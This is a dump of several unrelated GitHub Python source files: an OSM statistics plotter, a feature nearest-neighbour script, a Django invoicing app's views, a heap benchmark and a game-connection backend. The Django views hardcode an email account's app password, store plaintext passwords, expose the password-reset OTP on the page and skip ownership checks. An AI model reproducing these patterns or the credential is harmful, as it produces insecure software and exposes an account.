ctry2dl.split('/')[0] == 'us':\r\n ctry2dl = 'United States'\r\n elif ctry2dl.split('/')[0] == 'Falkland Islands':\r\n ctry2dl = 'Falkland Islands Islas Malvinas'\r\n for i in range(0, 31):\r\n URL = 'https://osmstats.neis-one.org/?item=countries&date='\r\n Previous_Date = datetime.datetime.today() - datetime.timedelta(days=i + 1)\r\n dt_string = Previous_Date.strftime(\"%d-%m-%Y\")\r\n URL = URL + dt_string\r\n\r\n r = requests.get(URL)\r\n page_body = r.text\r\n soup = BeautifulSoup(page_body, 'html.parser')\r\n\r\n beg = str(soup).find('countryEdits = ')\r\n end = str(soup).find(';')\r\n\r\n str_data = str(soup)[beg + 15:end]\r\n convertedDict = json.loads(str_data)\r\n\r\n df = pd.DataFrame(convertedDict)\r\n\r\n df = df.transpose()\r\n\r\n df.columns = ['Country', 'x', 'Contributors', 'y', 'Created elements', 'Modified elements',\r\n 'Deleted elements', 'y', 'z']\r\n df = df.sort_values(by='Created elements', ascending=False)\r\n\r\n if i == 0:\r\n search_str = unidecode.unidecode(ctry2dl.split('/')[0])\r\n\r\n most_similar = process.extractOne(search_str, df['Country'], scorer=fuzz.WRatio)\r\n\r\n output = most_similar[0]\r\n output = output.replace('(', '\\(')\r\n output = output.replace(')', '\\)')\r\n\r\n\r\n contain_values = df[df['Country'].str.contains(output)]\r\n date_[i] = dt_string\r\n cr_el[i] = cr_el[i] + contain_values['Created elements'].values[0]\r\n mod_el[i] = mod_el[i] + contain_values['Modified elements'].values[0]\r\n del_el[i] = del_el[i] + contain_values['Deleted elements'].values[0]\r\n contr[i] = contr[i] + contain_values['Contributors'].values[0]\r\n\r\n df_evo = pd.DataFrame(cr_el, columns=['created elements'])\r\n df_evo['modified elements'] = mod_el\r\n df_evo['deleted elements'] = del_el\r\n df_evo['date'] = date_\r\n df_evo['Contributors'] = contr\r\n df_evo = df_evo.loc[::-1].reset_index(drop=True)\r\n\r\n mycolors = ['tab:pink', 'tab:blue', 'tab:green', 'tab:orange']\r\n columns = ['modified elements', 'deleted elements', 'created elements', 'Contributors']\r\n\r\n x = df_evo['date']\r\n y1 = df_evo['deleted elements']\r\n y2 = df_evo['modified elements']\r\n y3 = df_evo['created elements']\r\n y4 = df_evo['Contributors']\r\n\r\n fig, ax1 = plt.subplots(1, 1, figsize=(16, 9), dpi=80)\r\n\r\n ax1.fill_between(x, y1=y3, y2=y1, label=columns[2], alpha=0.4, color=mycolors[2], linewidth=2)\r\n ax1.fill_between(x, y1=y2, y2=y1, label=columns[0], alpha=0.4, color=mycolors[0], linewidth=2)\r\n ax1.fill_between(x, y1=y1, y2=0, label=columns[1], alpha=0.4, color=mycolors[1], linewidth=2)\r\n\r\n # Plot Line2 (Right Y Axis)\r\n ax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis\r\n ax2.plot(x, y4, label=columns[3], color='tab:red', linewidth=3)\r\n\r\n # Decorations\r\n # ax1 (left Y axis)\r\n ax1.set_xlabel('date', fontsize=20)\r\n ax1.tick_params(axis='x', rotation=45, labelsize=12)\r\n ax1.set_ylabel('Created/Modified/Deleted Elements', fontsize=20)\r\n ax1.tick_params(axis='y', rotation=0)\r\n ax1.grid(alpha=.4)\r\n\r\n # ax2 (right Y axis)\r\n ax2.set_ylabel(\"Number of contributors\", color='tab:red', fontsize=20)\r\n ax2.tick_params(axis='y', labelcolor='tab:red')\r\n # ax2.set_xticklabels(x, rotation=45, fontdict={'fontsize':10})\r\n ax2.set_title(\"Evolution of contribution for \" + output + ' between ' + date_[30] + ' and ' + date_[0],\r\n fontsize=22)\r\n fig.tight_layout()\r\n # Lighten borders\r\n plt.gca().spines[\"top\"].set_alpha(0)\r\n plt.gca().spines[\"bottom\"].set_alpha(.3)\r\n plt.gca().spines[\"right\"].set_alpha(0)\r\n plt.gca().spines[\"left\"].set_alpha(.3)\r\n\r\n ax1.legend(loc='best', fontsize=12)\r\n\r\n plt.savefig(\"OSM_last_month.png\")\r\n new = 2\r\n webbrowser.open('html_evolution.html', new=new)\r\n print('Evolution for {} available !'.format(output))\r\n\r\n else:\r\n continue\r\n","repo_name":"abugnard/HGDR","sub_path":"contribution_evolution.py","file_name":"contribution_evolution.py","file_ext":"py","file_size_in_byte":5904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9161841803","text":"\"\"\"Example usage of extracted features.\"\"\"\n\nimport argparse\nimport random\n\nimport h5py\nimport numpy as np\n\n\ndef main():\n # Use first line of file docstring as description if a file docstring exists.\n parser = argparse.ArgumentParser(\n description=__doc__.split('\\n')[0] if __doc__ else '',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('features_hdf5')\n\n args = parser.parse_args()\n\n with h5py.File(args.features_hdf5, 'r') as f:\n # (num_samples, num_dimensions) matrix\n print('Loading features, shape: %s' % (f['features'].shape, ))\n features = np.array(f['features'])\n # List of length (num_samples)\n names = list(f['image_names'])\n print('Loaded features')\n\n # Sample a few data points, compute their nearest neighbors.\n num_sample = 5\n num_neighbors = 3\n sampled = list(range(len(features)))\n random.shuffle(sampled)\n sampled = sampled[:num_sample]\n\n for sample_index in sampled:\n feature = features[sample_index]\n other_features = np.vstack(\n [features[:sample_index], features[sample_index + 1:]])\n distances = np.linalg.norm(other_features - feature.T, axis=1, ord=2)\n neighbors = np.argsort(distances)[:num_neighbors]\n print('Neighbors of {}: {}'.format(\n names[sample_index], ', '.join(names[i] for i in neighbors)))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"achalddave/pytorch-extract-features","sub_path":"nearest_neighbors_hdf5.py","file_name":"nearest_neighbors_hdf5.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"} +{"seq_id":"39607355868","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom .models import OrganisationDetails,CustomerDetails,Invoice_Details,Product,AddProduct\nfrom .forms import OrganisationForm,CustomerForm,Invoice_Details_Form,Product_Form\nfrom django.urls import reverse_lazy\nfrom django.http import HttpResponse\n\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import login, authenticate\n\nfrom django.contrib import messages\n\n# Forget PAssword -------\nimport random\n\n# QRCode\nimport qrcode\nfrom django.conf import settings # new\n\n#email --------- \nimport smtplib\nimport email.message\nfrom smtplib import SMTP \n\n\n# Html To Pdf -------------------\n\nfrom io import BytesIO\nfrom django.http import HttpResponse\nfrom django.template.loader import get_template\n\nfrom xhtml2pdf import pisa\n\nfrom django.http import HttpResponse\n\n# Html To Pdf -------------------\n\ndef render_to_pdf(template_src, context_dict={}):\n template = get_template(template_src)\n html = template.render(context_dict)\n result = BytesIO()\n pdf = pisa.pisaDocument(BytesIO(html.encode(\"ISO-8859-1\")), result)\n if not pdf.err:\n return HttpResponse(result.getvalue(), content_type='application/pdf')\n return None\n\ndef GeneratePdf(request,id):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n invo = Invoice_Details.objects.get(id=id)\n prod = Product.objects.filter(Invoice=invo)\n cust_data = CustomerDetails.objects.get(cust_name=invo.Cust_name)\n tot = 0\n for i in prod:\n tot += float(i.Total)\n data = {'org':org,'cust':cust_data,'invo':invo,'prod':prod,'tot':tot}\n pdf = render_to_pdf('GeneratePdf.html', data)\n return HttpResponse(pdf, content_type='application/pdf')\n else:\n return redirect('login')\n\n# QRCode -------------------------\ndef QRCode_Generate(request,id):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n invo = Invoice_Details.objects.get(id=id)\n prod_no = Product.objects.filter(Invoice=invo).count()\n prod = Product.objects.filter(Invoice=invo)\n cust_data = CustomerDetails.objects.get(cust_name=invo.Cust_name)\n tot = 0\n for i in prod:\n tot += float(i.Total)\n # data = {'org':org,'cust':cust_data,'invo':invo,'prod':prod,'tot':tot}\n \n first = f\"\"\"\n Company Name : {org.company_name}\n Customer Name : {cust_data.cust_name}\n Invoice No. : {invo.Invoice_num}\n Total Products : {prod_no}\n \"\"\"\n sec = \"\"\n for pr in prod:\n sec += \"\"\"\n Product Name : \"\"\" + str(pr.Product_name) + \"\"\"\n Product Qty : \"\"\" + str(pr.Qty) + \"\"\"\n Product Price : \"\"\" + str(pr.Price) + \"\"\"\n Product Total : \"\"\" + str(pr.Total) + \"\\n\"\n \n third = f\"\"\"\n Total Amount To Pay : {tot}\n \"\"\"\n \n data = first + sec + third\n \n qr = qrcode.QRCode(version=1,\n error_correction=qrcode.constants.ERROR_CORRECT_L,\n box_size=10,border=4,)\n qr.add_data(data)\n qr.make(fit=True)\n\n img = qr.make_image(fill_color=\"black\", back_color=\"white\")\n \n qrcode_nm = str(invo.Invoice_num)+\".jpg\"\n qrcode_path = settings.MEDIA_ROOT+\"/\"+qrcode_nm\n print(qrcode_path)\n img.save(qrcode_path)\n \n invo.qrcode = qrcode_nm\n invo.save()\n \n return render(request,'View_QRCode.html',{'org':org,'cust':cust_data,'invo':invo,'tot':tot})\n \n else:\n return redirect('login')\n\n# Email ------------------\n\ndef EmailCall(request,id):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n invo = Invoice_Details.objects.get(id=id)\n prod = Product.objects.filter(Invoice=invo)\n cust_data = CustomerDetails.objects.get(cust_name=invo.Cust_name)\n tot = 0\n for i in prod:\n tot += float(i.Total)\n data = {'org':org,'cust':cust_data,'invo':invo,'prod':prod,'tot':tot}\n \n \n # my_email = \"darpansalunkework@gmail.com\"\n # my_pass = \"darpan@work\"\n # fr_email = \"darpansalunke@gmail.com\"\n try:\n my_email = org.email\n my_pass = org.password_2\n fr_email = cust_data.email\n \n server = smtplib.SMTP('smtp.gmail.com',587)\n \n mead_data =\"\"\n \n front = \"\"\"\n \n \n \n
\n

Company Name : \"\"\" + org.company_name + \"\"\"

\n

Customer Name : \"\"\" + cust_data.cust_name + \"\"\"

\n

Invoice No. : \"\"\" + invo.Invoice_num + \"\"\"

\n
\n
\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \"\"\"\n \n for i in prod:\n mead_data += \"\"\"\n \n \n \n \n \n \n \n \n \n \n \"\"\"\n \n ended = f\"\"\"\n
\n Product Name\n \n Hsn Code\n \n Qty\n \n Price\n \n Discount\n \n Cgst\n \n Sgst\n \n Igst\n \n Cess\n \n Total\n
\"\"\" + str(i.Product_name) + \"\"\" \"\"\" + str(i.Hsn_code) + \"\"\" \"\"\" + str(i.Qty) + \"\"\"\"\"\" + str(i.Price) + \"\"\"\"\"\" + str(i.Discount) + \"\"\"\"\"\" + str(i.Cgst) + \"\"\"\"\"\" + str(i.Sgst) + \"\"\"\"\"\" + str(i.Igst) + \"\"\"\"\"\" + str(i.Cess) + \"\"\"\"\"\" + str(i.Total) + \"\"\"
\n

Amount To Pay : {tot}

\"\"\"\n \n email_content = front + mead_data + ended\n print(email_content)\n \n msg = email.message.Message()\n msg['Subject'] = f'Your Invoice No. {invo.Invoice_num} From {org.company_name}' \n msg['From'] = my_email\n msg['To'] = fr_email\n password = my_pass\n msg.add_header('Content-Type', 'text/html')\n msg.set_payload(email_content)\n s = smtplib.SMTP('smtp.gmail.com',587)\n s.starttls()\n s.login(msg['From'], password)\n s.sendmail(msg['From'], [msg['To']], msg.as_string())\n \n # return HttpResponse(\"

Email Sent

\")\n data1 = \"Email Sent\"\n return render(request,'Error_Show.html',{'data1':data1})\n except:\n data1 = \"Email Not Sent\"\n data2 = \"Maybe Your Email Id Or Password Is Wrong\"\n return render(request,'Error_Show.html',{'data1':data1,'data2':data2})\n \n else:\n return redirect('login')\n\n# Organisation -------------\n\ndef OrganisationView(request):\n forms = OrganisationForm(request.POST or None)\n if request.POST:\n if forms.is_valid():\n try:\n valid = OrganisationDetails.objects.get(user_id=request.POST['user_id'])\n return HttpResponse(\"

User Id Already In Use

\")\n except:\n forms.save()\n request.session['org'] = request.POST['user_id']\n return redirect('index')\n else:\n print('not valid')\n else:\n print('not post')\n return render(request,'signup.html',{'org':forms})\n\ndef LoginView(request):\n if request.method == \"POST\":\n try:\n m = OrganisationDetails.objects.get(user_id = request.POST['username'])\n if m.password_2 == request.POST['password']:\n print(m.user_id)\n request.session['org'] = m.user_id\n request.session['orgid'] = m.pk\n return redirect('index')\n else:\n return HttpResponse(\"

You have entered wrong password

\")\n except:\n return HttpResponse(\"

no username found.

\")\n return render(request,'registration/login.html')\n\n# Forget Password -----------------\n\ndef forgot_pass(request):\n if request.POST:\n email1 = request.POST['email']\n number1 = request.POST['m_no']\n \n try:\n valid = OrganisationDetails.objects.get(email=email1)\n if int(valid.phone) == int(number1):\n print(email1)\n request.session['useremail'] = email1\n \n numbers = [1,2,3,4,5,6,7,8,9,0]\n num = \"\"\n for i in range(4):\n num += str(random.choice(numbers))\n \n num = int(num)\n print(num)\n \n # ============== Email ==============\n \n sender_email = \"subhashdantani98@gmail.com\"\n sender_pass = \"picflwwetzovlpuz\"\n receiver_email = email1\n\n server = smtplib.SMTP('smtp.gmail.com',587)\n\n your_message = \"This Is Your OTP Number = \"+str(num)\n\n print(your_message)\n\n msg = email.message.Message()\n msg['Subject'] = \"Your OTP From Advance Billing System\"\n msg['From'] = sender_email\n msg['To'] = receiver_email\n password = sender_pass\n msg.add_header('Content-Type','text/html')\n msg.set_payload(your_message)\n\n server.starttls()\n server.login(msg['From'],password)\n server.sendmail(msg['From'],msg['To'],msg.as_string())\n \n # ============== End Email ===========\n \n request.session['otp'] = num\n \n return render(request,'OTP.html',{'otp':num})\n \n else:\n messages.add_message(request, messages.ERROR, \"Mobile Number Is Not Registered \")\n return redirect('forgotpass')\n except:\n messages.add_message(request, messages.ERROR, \"Email Is Not Registered\")\n return redirect('forgotpass')\n \n return render(request,'Forget_Pass.html')\n\ndef otpcheck(request):\n if request.session.has_key('otp'):\n if request.POST:\n otp = request.POST['otp']\n if int(request.session['otp']) == int(otp):\n del request.session['otp']\n return redirect('newpassword')\n else:\n return HttpResponse(\"

You Have Entered Wrong OTP

\")\n else:\n return redirect('forgotpass')\n return redirect('login')\n\ndef newpassword(request):\n if request.session.has_key('useremail'):\n if request.POST:\n pass_1 = request.POST['pass1']\n pass_2 = request.POST['pass2']\n \n if pass_1 == pass_2:\n valid = OrganisationDetails.objects.get(email=request.session['useremail'])\n valid.password_1 = pass_2\n valid.password_2 = pass_2\n valid.save()\n del request.session['useremail']\n return redirect('login')\n else:\n messages.add_message(request, messages.ERROR, \"Passwords Are Not Same ...\")\n return render(request,'New_Pass.html')\n return redirect('login')\n\n\ndef index(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n cust_count = CustomerDetails.objects.all().filter(companyName=org).count()\n cust = CustomerDetails.objects.all().filter(companyName=org)\n tot_invo = 0\n for i in cust:\n invoice_count = Invoice_Details.objects.all().filter(Cust_name=i).count()\n tot_invo += invoice_count\n return render(request,'index.html',{'org':org.company_name,'cust_count':cust_count,'invo_count':tot_invo})\n else:\n return redirect('login')\n \n# Customer Data ---------------\n \ndef CustomerView(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n model = CustomerDetails.objects.all().filter(companyName=org)\n return render(request,'customer.html',{'org':org.company_name,'customerdata':model})\n else:\n return redirect('login')\n\ndef CustomerFormView(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n if request.POST:\n cust = CustomerDetails()\n cust.companyName = org\n cust.cust_name = request.POST['cust_name']\n cust.cont_person = request.POST['cont_person']\n cust.contact_num = request.POST['contact_num']\n cust.email = request.POST['email']\n cust.company_type = request.POST['company_type']\n cust.address = request.POST['address']\n cust.address_2 = request.POST['address_2']\n cust.landmark = request.POST['landmark']\n cust.country = request.POST['country']\n cust.state = request.POST['state']\n cust.city = request.POST['city']\n cust.pincode = request.POST['pincode']\n cust.save()\n return redirect('/customer')\n return render(request,'customerform.html',{'org':org.company_name})\n else:\n return redirect('login')\n\ndef CustomerDelete(request,cust_del):\n if 'org' in request.session:\n data = CustomerDetails.objects.get(id=cust_del)\n data.delete()\n return redirect('customer')\n else:\n return redirect ('login')\n \ndef CustomerUpdate(request,cust_up): \n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n cust = CustomerDetails.objects.get(id=cust_up)\n if request.POST:\n cust.companyName = org\n cust.cust_name = request.POST['cust_name']\n cust.cont_person = request.POST['cont_person']\n cust.contact_num = request.POST['contact_num']\n cust.email = request.POST['email']\n cust.company_type = request.POST['company_type']\n cust.address = request.POST['address']\n cust.address_2 = request.POST['address_2']\n cust.landmark = request.POST['landmark']\n cust.country = request.POST['country']\n cust.state = request.POST['state']\n cust.city = request.POST['city']\n cust.pincode = request.POST['pincode']\n cust.save()\n return redirect('customer')\n return render(request,'customerform.html',{'org':org.company_name,'data':cust})\n else:\n return redirect('login')\n\n# Invoice Data ---------------\n\ndef Total_Invoice_Page(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n in_data = Invoice_Details.objects.filter(companyName=org)\n invo = []\n pro = []\n pro_tot = []\n for i in in_data:\n print(i)\n invo.append(i)\n pro_count = Product.objects.filter(Invoice=i).count()\n print(pro_count)\n pro.append(pro_count)\n t = 0\n pro_data = Product.objects.filter(Invoice=i)\n for i in pro_data:\n t += float(i.Total)\n pro_tot.append(t)\n \n data = zip(invo,pro,pro_tot)\n return render(request,'Total_Invoice_Page.html',{'org':org.company_name,'invo':data})\n else:\n return redirect('login')\n\ndef InvoiceView(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n cust_data = CustomerDetails.objects.all().filter(companyName=org)\n cust = []\n inv = []\n for i in cust_data:\n print(i)\n cust.append(i)\n in_data = Invoice_Details.objects.filter(Cust_name=i).count()\n print(in_data)\n inv.append(in_data)\n \n data = zip(cust,inv)\n return render(request,'temp_invoice.html',{'org':org.company_name,'data':data})\n else:\n return redirect('login')\n\ndef InvoicePage(request,id):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n cust_data = CustomerDetails.objects.get(id=id)\n in_data = Invoice_Details.objects.filter(Cust_name=cust_data)\n invo = []\n pro = []\n pro_tot = []\n \n for i in in_data:\n print(i)\n invo.append(i)\n pro_count = Product.objects.filter(Invoice=i).count()\n print(pro_count)\n pro.append(pro_count)\n t = 0\n pro_data = Product.objects.filter(Invoice=i)\n for i in pro_data:\n t += float(i.Total)\n pro_tot.append(t)\n \n data = zip(invo,pro,pro_tot)\n return render(request,'invoice_list.html',{'org':org.company_name,'cust':cust_data,'invo':data})\n else:\n return redirect('login')\n \ndef DetailPage(request,id):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n invo = Invoice_Details.objects.get(id=id)\n prod = Product.objects.filter(Invoice=invo)\n cust_data = CustomerDetails.objects.get(cust_name=invo.Cust_name)\n tot = 0\n for i in prod:\n tot += float(i.Total)\n return render(request,'DetailPage.html',{'org':org.company_name,'cust':cust_data,'invo':invo,'prod':prod,'tot':tot})\n else:\n return redirect('login')\n\ndef InvoiceForm(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n cust_data = CustomerDetails.objects.all().filter(companyName=org)\n invo_prev = Invoice_Details.objects.all().order_by('-id')[0]\n if request.POST:\n invo = Invoice_Details()\n invo.companyName = org\n invo.Cust_name = CustomerDetails.objects.get(cust_name=request.POST['Cust_name'])\n invo.Invoice_type = request.POST['Invoice_type']\n invo.Invoice_num = \"Invo\"+str(invo_prev.id+1)\n invo.Date = request.POST['Date']\n invo.Dispatch_through = request.POST['Dispatch_through']\n invo.Due_date = request.POST['Due_date']\n invo.Bank = request.POST['Bank']\n invo.Payment_type = request.POST['Payment_type']\n invo.Payment_note = request.POST['Payment_note']\n invo.T_c = request.POST['T_c']\n invo.Document_note = request.POST['Document_note']\n invo.save()\n return redirect('invoiceview')\n return render(request,'invoiceform.html',{'org':org.company_name,'cust':cust_data})\n else:\n return redirect('login')\n\ndef InvoiceDelete(request,invo_del):\n if 'org' in request.session:\n data = Invoice_Details.objects.get(id=invo_del)\n data.delete()\n return redirect('invoiceview')\n else:\n return redirect('login')\n \ndef InvoiceUpdate(request,invo_up):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n cust_data = CustomerDetails.objects.all().filter(companyName=org)\n invo = Invoice_Details.objects.get(id=invo_up)\n if request.POST:\n invo.companyName = org\n invo.Cust_name = CustomerDetails.objects.get(cust_name=request.POST['Cust_name'])\n invo.Invoice_type = request.POST['Invoice_type']\n invo.Invoice_num = request.POST['Invoice_num']\n invo.Date = request.POST['Date']\n invo.Dispatch_through = request.POST['Dispatch_through']\n invo.Due_date = request.POST['Due_date']\n invo.Bank = request.POST['Bank']\n invo.Payment_type = request.POST['Payment_type']\n invo.Payment_note = request.POST['Payment_note']\n invo.T_c = request.POST['T_c']\n invo.Document_note = request.POST['Document_note']\n invo.save()\n return redirect('invoiceview')\n return render(request,'invoiceform.html',{'data':invo,'org':org.company_name,'cust':cust_data})\n else:\n return redirect('login')\n\n# Product Data -------------------\n\ndef ProductView(request):\n if 'org' in request.session:\n pro_data = Product.objects.all()\n return render(request,'temp_product.html',{'prod_data':pro_data})\n else:\n return redirect('login')\n\ndef ProductForm(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n invo = Invoice_Details.objects.filter(companyName=org)\n prod2=AddProduct.objects.filter(companyName=org)\n if request.POST:\n prod = Product()\n prod.companyName = org\n prod.Invoice = Invoice_Details.objects.get(Invoice_num=request.POST['Invoice'])\n prod.Product_name = request.POST['Product_name']\n prod.Hsn_code = request.POST['Hsn_code']\n prod.Qty = request.POST['Qty']\n prod.Price = request.POST['Price']\n prod.Discount = request.POST['Discount']\n prod.Cgst = request.POST['Cgst']\n prod.Sgst = request.POST['Sgst']\n prod.Igst = request.POST['Igst']\n prod.Cess = request.POST['Cess']\n prod.Total = request.POST['Total']\n a=AddProduct.objects.get(Product_name=request.POST['Product_name'],companyName=org.pk)\n if a.Qty>=int(request.POST['Qty']):\n prod.save()\n a.Qty=a.Qty-int(prod.Qty)\n a.save()\n return redirect('/invoiceview/')\n else:\n return render(request,'productform.html',{'org':org.company_name,'invo':invo,'prod':prod2,\"m\":\"Quantity Not Available\" })\n return render(request,'productform.html',{'org':org.company_name,'invo':invo,'prod':prod2})\n else:\n return redirect('login')\n\ndef viewquentity(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n data=AddProduct.objects.filter(companyName=request.session['orgid'])\n return render(request,'viewQuntity.html',{'org':org.company_name,'data':data})\n else:\n return redirect('login')\ndef addProductForm(request):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n if request.POST:\n prod = AddProduct()\n prod.companyName = org\n prod.Product_name = request.POST['Product_name']\n prod.Qty = request.POST['Qty']\n prod.save()\n return redirect('/invoiceview/')\n return render(request,'addproduct.html',{'org':org.company_name})\n else:\n return redirect('login')\n\ndef updateaddProductForm(request,id):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n prod = AddProduct.objects.get(id=id)\n if request.POST:\n prod.companyName = org\n prod.Product_name = request.POST['Product_name']\n prod.Qty = request.POST['Qty']\n prod.save()\n return redirect('/viewquentity/')\n return render(request,'updateaddproduct.html',{'org':org.company_name,'prod':prod})\n else:\n return redirect('login')\n\ndef ProductDelete(request,prod_del):\n if 'org' in request.session:\n data = Product.objects.get(id=prod_del)\n a=AddProduct.objects.get(Product_name=data.Product_name,companyName=request.session['orgid'])\n a.Qty=float(a.Qty)+float(data.Qty)\n a.save()\n data.delete()\n return redirect('/invoiceview/')\n else:\n return redirect('login')\n \ndef ProductUpdate(request,prod_up):\n if 'org' in request.session:\n org = OrganisationDetails.objects.get(user_id = request.session['org'])\n invo = Invoice_Details.objects.filter(companyName=org)\n prod = Product.objects.get(id=prod_up)\n a=AddProduct.objects.get(Product_name=prod.Product_name,companyName=request.session['orgid']) \n xy=prod.Qty\n print(\"hello\",a.Qty,xy)\n if request.POST:\n prod.companyName = org\n prod.Invoice = Invoice_Details.objects.get(Invoice_num=request.POST['Invoice'])\n prod.Product_name = request.POST['Product_name']\n prod.Hsn_code = request.POST['Hsn_code']\n prod.Qty = request.POST['Qty']\n prod.Price = request.POST['Price']\n prod.Discount = request.POST['Discount']\n prod.Cgst = request.POST['Cgst']\n prod.Sgst = request.POST['Sgst']\n prod.Igst = request.POST['Igst']\n prod.Cess = request.POST['Cess']\n prod.Total = request.POST['Total']\n r=float(a.Qty)+float(xy)\n print(a.Product_name,\"RRRRRRR\",r,\"prodqty\",prod.Qty)\n if r>=float(request.POST['Qty']):\n if float(xy)==float(request.POST['Qty']):\n print(\"son\")\n prod.save()\n return redirect('/invoiceview/')\n elif float(xy)float(request.POST['Qty']):\n newqty=float(xy)-float(request.POST['Qty'])\n print(\"mother\")\n prod.save()\n a.Qty=float(a.Qty)+float(newqty)\n a.save()\n return redirect('/invoiceview/')\n else:\n return render(request,'updateproduct.html',{'org':org.company_name,'invo':invo,'data':prod,\"m\":\"Quantity Not Available\" })\n return render(request,'updateproduct.html',{'org':org.company_name,'invo':invo,'data':prod})\n else:\n return redirect('login')\n\ndef logout(request):\n if 'org' in request.session:\n del request.session['org']\n return redirect('login')\n else:\n return redirect('login')\n\n","repo_name":"rajeev790/Python","sub_path":"organisation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":28199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37525556796","text":"# coding=utf-8\nimport sys\nimport random\nimport time\nfrom BasicDS.MaxHeap import MaxHeap\n\ndef testHeap(testData, isHeapify):\n startTime = time.time()\n\n if isHeapify:\n maxHeap = MaxHeap(arr=testData)\n else:\n maxHeap = MaxHeap()\n for num in testData:\n maxHeap.add(num)\n\n arr = []\n for i in range(len(testData)):\n arr.append(maxHeap.extractMax())\n for i in range(1, len(testData)):\n if arr[i - 1] < arr[i]:\n raise Exception(\"Error\")\n print(\"Test MaxHeap completed.\")\n\n endTime = time.time()\n return endTime - startTime\n\n\nif __name__ == \"__main__\":\n n = 20000\n\n testData = [random.randint(0, n * 10) for _ in range(n)]\n\n time1 = testHeap(testData, False)\n print(\"Without heapify: \", time1, \"s\")\n\n time2 = testHeap(testData, True)\n print(\"With heapify: \", time2, \" s\")\n\n","repo_name":"ToLoveToFeel/BasicDataStructure","sub_path":"Python/MaxHeapMain.py","file_name":"MaxHeapMain.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36673585556","text":"import logging\n\nfrom randovania.game_connection.connector.remote_connector_v2 import RemoteConnectorV2\nfrom randovania.game_connection.builder.connector_builder import ConnectorBuilder\nfrom randovania.game_connection.connection_base import ConnectionBase, GameConnectionStatus, Inventory\nfrom randovania.game_connection.memory_executor_choice import ConnectorBuilderChoice\nfrom randovania.game_description.resources.pickup_entry import PickupEntry\nfrom randovania.game_description.world.world import World\nfrom randovania.games.game import RandovaniaGame\n\nPermanentPickups = tuple[tuple[str, PickupEntry], ...]\n\nclass ConnectionBackend(ConnectionBase):\n connector: RemoteConnectorV2 | None = None\n connector_builder: ConnectorBuilder | None = None\n\n _checking_for_collected_index: bool = False\n _inventory: Inventory\n _enabled: bool = True\n\n # Detected Game\n _world: World | None = None\n _last_world: World | None = None\n\n # Multiworld\n _expected_game: RandovaniaGame | None\n _permanent_pickups: PermanentPickups\n\n def __init__(self, connector_builder: ConnectorBuilder):\n super().__init__()\n self.logger = logging.getLogger(type(self).__name__)\n self.connector_builder = connector_builder\n\n self._inventory = {}\n self._expected_game = None\n self._permanent_pickups = tuple()\n\n @property\n def current_status(self) -> GameConnectionStatus:\n if self.connector_builder is None or self.connector is None:\n return GameConnectionStatus.UnknownGame\n\n if not self.connector.executor.is_connected():\n return GameConnectionStatus.Disconnected\n\n if self._expected_game is not None and self._expected_game != self.connector.game_enum:\n return GameConnectionStatus.WrongGame\n\n if self._world is None:\n return GameConnectionStatus.TitleScreen\n\n elif not self.checking_for_collected_index:\n return GameConnectionStatus.TrackerOnly\n\n else:\n return GameConnectionStatus.InGame\n\n def _notify_status(self):\n raise NotImplementedError()\n\n @property\n def connector_builder_choice(self) -> ConnectorBuilderChoice:\n return self.connector_builder.connector_builder_choice\n\n @property\n def name(self) -> str:\n raise NotImplementedError()\n\n @property\n def lock_identifier(self) -> str | None:\n return self.connector.executor.lock_identifier if self.connector is not None else None\n\n @property\n def checking_for_collected_index(self):\n return self._checking_for_collected_index\n\n @checking_for_collected_index.setter\n def checking_for_collected_index(self, value: bool):\n self._checking_for_collected_index = value\n\n def set_connection_enabled(self, value: bool):\n self._enabled = value\n if not value:\n self.connector = None\n\n\n def get_current_inventory(self) -> Inventory:\n return self._inventory\n\n async def set_connector_builder(self, connector_builder: ConnectorBuilder):\n if self.connector is not None:\n self.connector.executor.disconnect()\n self.connector_builder = connector_builder\n self.connector = await connector_builder.build_connector()\n self._notify_status()\n\n @property\n def expected_game(self):\n return self._expected_game\n\n def set_expected_game(self, game: RandovaniaGame | None):\n self._expected_game = game\n\n def set_permanent_pickups(self, pickups: PermanentPickups):\n self.logger.info(\"num permanent pickups: %d\", len(pickups))\n self._permanent_pickups = pickups\n\n async def update_current_inventory(self):\n self._inventory = await self.connector.get_inventory()\n\n async def _multiworld_interaction(self):\n if self._expected_game is None:\n return\n\n locations = await self.connector.known_collected_locations()\n if len(locations) != 